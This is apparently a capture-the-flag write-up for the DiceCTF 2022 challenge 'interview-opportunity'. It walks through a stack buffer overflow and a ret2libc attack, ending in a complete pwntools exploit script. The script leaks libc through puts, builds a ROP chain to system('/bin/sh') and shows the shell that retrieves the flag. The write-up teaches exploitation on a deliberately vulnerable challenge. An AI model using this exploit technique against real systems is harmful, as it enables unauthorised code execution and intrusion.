DiceCTF 2022 ‑ pwn/interview-opportunity

Description:

Good luck on your interview... nc mc.ax 31081

Downloads interview-opportunity libc.so.6

This challenge gives us an ELF binary and a libc file. Right now we can already assume that this is a ret2libc challenge.

What's a ret2libc?

If you've ever followed a basic buffer overflow tutorial, you know that sometimes it's as easy as overflowing some shellcode onto the stack and jumping to it. In this challenge, there is some protection that marks the memory as non-executable, which means that shellcode won't execute here. If we can't directly execute injected code in memory, where do we go next?

We can go to a place in memory where we know code exists! It's libc, the C standard library!

Libc is linked to our program, lives in memory and has some useful calls we could return to (ret2libc), such as system to execute commands in the shell!

How 2 start

As always, we start by checking the protections on the binary.

$ checksec ./interview-opportunity
[*] ./interview-opportunity
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

Unsurprisingly, NX is enabled, which means that the stack is not executable. This confirms that we can't just inject shellcode and expect it to execute.

Additionally, we can run the strings command to see if there are any interesting strings, but that doesn't seem to be the case.

The next thing I do is execute the binary.

$ chmod +x ./interview-opportunity
$ ./interview-opportunity
Thank you for you interest in applying to DiceGang. 
We need great pwners like you to continue our traditions and competition
against perfect blue.
So tell us. Why should you join DiceGang?
asd
Hello:
asd
@

There's no way I'll pass this interview, but I'm just here for a shell.

Disassembling the binary

When inspecting the main function in Ghidra, it spits out this:

Can you spot the issue?

When the program asks for our input, it tries to read 0x46 bytes into a variable that can only hold 10. I smell a buffer overflow

The crash

What would happen if we send it a bunch of A's?

$ ./interview-opportunity
Thank you for you interest in applying to DiceGang. 
We need great pwners like you to continue our traditions and competition
against perfect blue.
So tell us. Why should you join DiceGang?
AAAAAAAAA[...]
Hello:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

It results in a segfault! Buffer overflow it is

Building the script

Now that we are 100% sure it's a ret2libc, we can start writing our exploit script. For this I'm going to follow this handy guide on HackTricks.

There's a Python framework called pwntools that I'll be using, it's the go-to tool that has every feature you need for binary exploitation.

Step 0: Finding the overflow offset

First we need to find the offset. In other words: how many A's do we have to enter until we control where the program goes next?

This is incredibly easy to do with pwntools:

from pwn import *

def find_offset():
    p = process('./interview-opportunity')

    payload = cyclic(500)  # "aaaabaaacaaa..."
    p.sendline(payload)

    p.wait() # wait for crash

    crash_pattern = p.corefile.read(p.corefile.sp, 4) # "aaja"
    offset = cyclic_find(crash_pattern)
    return offset

offset = find_offset()
print(offset) # 34

We generate a "cyclic" pattern ("aaaabaaacaaa...") of size 500, then we send it to the program and see which part of the pattern caused the crash. The offset is the number of characters before that crash pattern.

In this case, the program crashed at "aaja". If we search for it in our pattern, we see that it's at offset 34. Great, at 34 characters we start overflowing the instruction pointer.

Moving on to the fun part!

Return Oriented Programming

When we return to somewhere in libc, we use a technique called Return Oriented Programming (ROP). It's the idea of chaining together the instructions we need (so called "gadgets") in order to achieve what we want.

Step 1: Finding gadgets

In the guide from earlier, we see that these gadgets were used:

PUTS_PLT
MAIN_PLT
POP_RDI
RET

I'll add these to the script:

elf = ELF('./interview-opportunity')
rop = ROP(elf)

PUTS_PLT = elf.symbols['puts']
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
RET = (rop.find_gadget(['ret']))[0]

Sanity check - returning to main

Let's check if we can call the program again by just returning to main like this:

p = process('./interview-opportunity')
p.recvuntil(b"?")

ropchain = b'A' * offset + p64(RET) + p64(MAIN_PLT)
p.sendline(ropchain)

p.interactive()
$ python3 exploit.py
Hello: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a@
Thank you for you interest in applying to DiceGang. 
We need great pwners like you to continue our traditions and competition
against perfect blue.
So tell us. Why should you join DiceGang?
$ aa
Hello: 
aa

As you see, we called main, which started the program again, and we were able to provide input again.

Now we need to craft a more useful ropchain that contains some libc gadgets.

Using puts to leak an address

Earlier I mentioned that we will call puts and leak its address, that is because we will need this for two things:

The first ropchain - leaking the address of puts

Let's craft the chain of instructions to use puts to leak the address of puts in libc.

First we need to upgrade our ropchain. We know that we want to do something like puts(puts), so let's see how we can chain the gadgets we found to achieve this.

PUTS_GOT = elf.got['puts']
PUTS_PLT = elf.symbols['puts']

p = process('./interview-opportunity')
p.recvuntil(b"?")

# upgraded ropchain
# param = PUTS_GOT & function = PUTS_PLT  -> PUTS_GOT gets leaked
ropchain = b'A'  * offset + p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
p.sendline(ropchain)

p.interactive()

We overflow the buffer, call POP_RDI so we can add a parameter, our parameter will be the puts function in the Global Offset Table (GOT), and the function we're calling will be puts from the Procedure Linkage Table (PLT).

After that, we call main again to start the program again, just like last time.

GOT vs PLT

To call the puts function, we take it from the PLT, because this has the address we need to jump to. Remember when we jumped to main again? We used the PLT for that, and it contains every function that the binary uses.

The Global Offset Table stores the function address located in libc, and this is what gets leaked with our upgraded ropchain. With this leaked address, we are able to calculate the libc base address.

Step 2: Finding the libc base address

Let's run our exploit with this new ropchain and see what we get

$ python3 exploit.py
Hello: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13@
\xa0\x95\xc7
Thank you for you interest in applying to DiceGang.
We need great pwners like you to continue our traditions and competition
against perfect blue.
So tell us. Why should you join DiceGang?

We leaked the address of puts in libc! Now we have everything we need to calculate the base address. Let's calculate it and see if our output looks good.

p.recvline() # \n
p.recvline() # 'Hello: '
p.recvline() # our input

leaked_puts = p.recvline()
log.info(f"Leaked {leaked_puts}")

puts = u64(leaked_puts.rstrip().ljust(8, b"\x00")) # unpacked 64 bit format
log.info(f"Address of puts: {hex(puts)}")

libc = ELF("./libc.so.6") # libc from challenge

libc.address = puts - libc.symbols['puts'] 
log.info(f"Libc base address: {hex(libc.address)}")
$ python exploit.py
[*] Leaked b'\xa0\x05\x92\x98\x9f\x7f\n'
[*] Address of puts: 0x7f9f989205a0
[*] Libc base address: 0x7f9f988a9fb0

The base address isn't correct, as it must end in 000. This is because I'm not using the same libc version. If I run the exploit against the server, we do get the correct base address.

# p = process('./interview-opportunity')
p = remote("mc.ax", 31081)

...

libc.address = puts - libc.symbols['puts'] 
log.info(f"Libc base address: {hex(libc.address)}")
$ python exploit.py
[*] Leaked b'\xf0E3mq\x7f\n'
[*] Address of puts: 0x7f716d3345f0
[*] Libc base address: 0x7f716d2be000

Step 3: The exploit

Now that we have the base address, we can look for useful gadgets for our second ropchain, which will get us a shell. Instead of calling puts this time, we'll call system('/bin/bash')

The next ropchain will look very similar.

BIN_SH = next(libc.search(b'/bin/sh'))
SYSTEM = libc.symbols['system']
EXIT = libc.symbols['exit']
                    
ropchain2 = b'A' * offset  + p64(POP_RDI) + p64(BIN_SH) + p64(SYSTEM) + p64(EXIT)

p.sendline(ropchain2)
p.interactive()

We use POP_RDI again to set the parameter, this time to /bin/sh , and then call SYSTEM with it. Finally, we have an EXIT call so that our process exits nicely.

Now send it to the server to receive a shell!

Final script

from pwn import *

# ------------------------------------
#  Step 0: Finding the overflow offset
# ------------------------------------

def find_offset():
    p = process('./interview-opportunity')

    payload = cyclic(500)
    p.sendline(payload)

    p.wait() # wait for crash

    crash_pattern = p.corefile.read(p.corefile.sp, 4)
    print(crash_pattern)
    offset = cyclic_find(crash_pattern)
    return offset

offset = 34

#-------------------------
# Step 1: Finding gadgets
#-------------------------

elf = ELF("./interview-opportunity")
rop = ROP(elf) 

PUTS_PLT = elf.plt['puts']
PUTS_GOT = elf.got['puts']
MAIN_PLT = elf.symbols['main']
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = (rop.find_gadget(['ret']))[0]

# ---------------------------------------------
#  Our first ropchain - leaking a libc address
# ---------------------------------------------

# p = process('./interview-opportunity')
p = remote("mc.ax", 31081)

p.recvuntil(b"?")

ropchain = b'A'  * offset + p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
p.sendline(ropchain)

p.recvline() # \n
p.recvline() # 'Hello: '
p.recvline() # our input

leaked_puts = p.recvline()
log.info(f"Leaked {leaked_puts}")

puts = u64(leaked_puts.rstrip().ljust(8, b"\x00")) # unpacked 64 bit format
log.info(f"Address of puts: {hex(puts)}")

libc = ELF("./libc.so.6") # libc from challenge

libc.address = puts - libc.symbols['puts'] 
log.info(f"Libc base address: {hex(libc.address)}") 

# -----------------------------------------
#  Second ropchain - calling /bin/sh shell
# -----------------------------------------

BIN_SH = next(libc.search(b'/bin/sh'))
SYSTEM = libc.symbols['system']
EXIT = libc.symbols['exit']
                    
ropchain2 = b'A' * offset  + p64(POP_RDI) + p64(BIN_SH) + p64(SYSTEM) + p64(EXIT)

p.sendline(ropchain2)
p.interactive()
[*] Address of puts: 0x7f82db8645f0
[*] Libc base address: 0x7f82db7ee000
[*] Switching to interactive mode
Thank you for you interest in applying to DiceGang. 
We need great pwners like you to continue our traditions and competition
against perfect blue.
So tell us. Why should you join DiceGang?
Hello: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13@
$ cat flag.txt
dice{0ur_f16h7_70_b347_p3rf3c7_blu3_5h4ll_c0n71nu3}

We win!

dice{0ur_f16h7_70_b347_p3rf3c7_blu3_5h4ll_c0n71nu3}

Thanks for reading!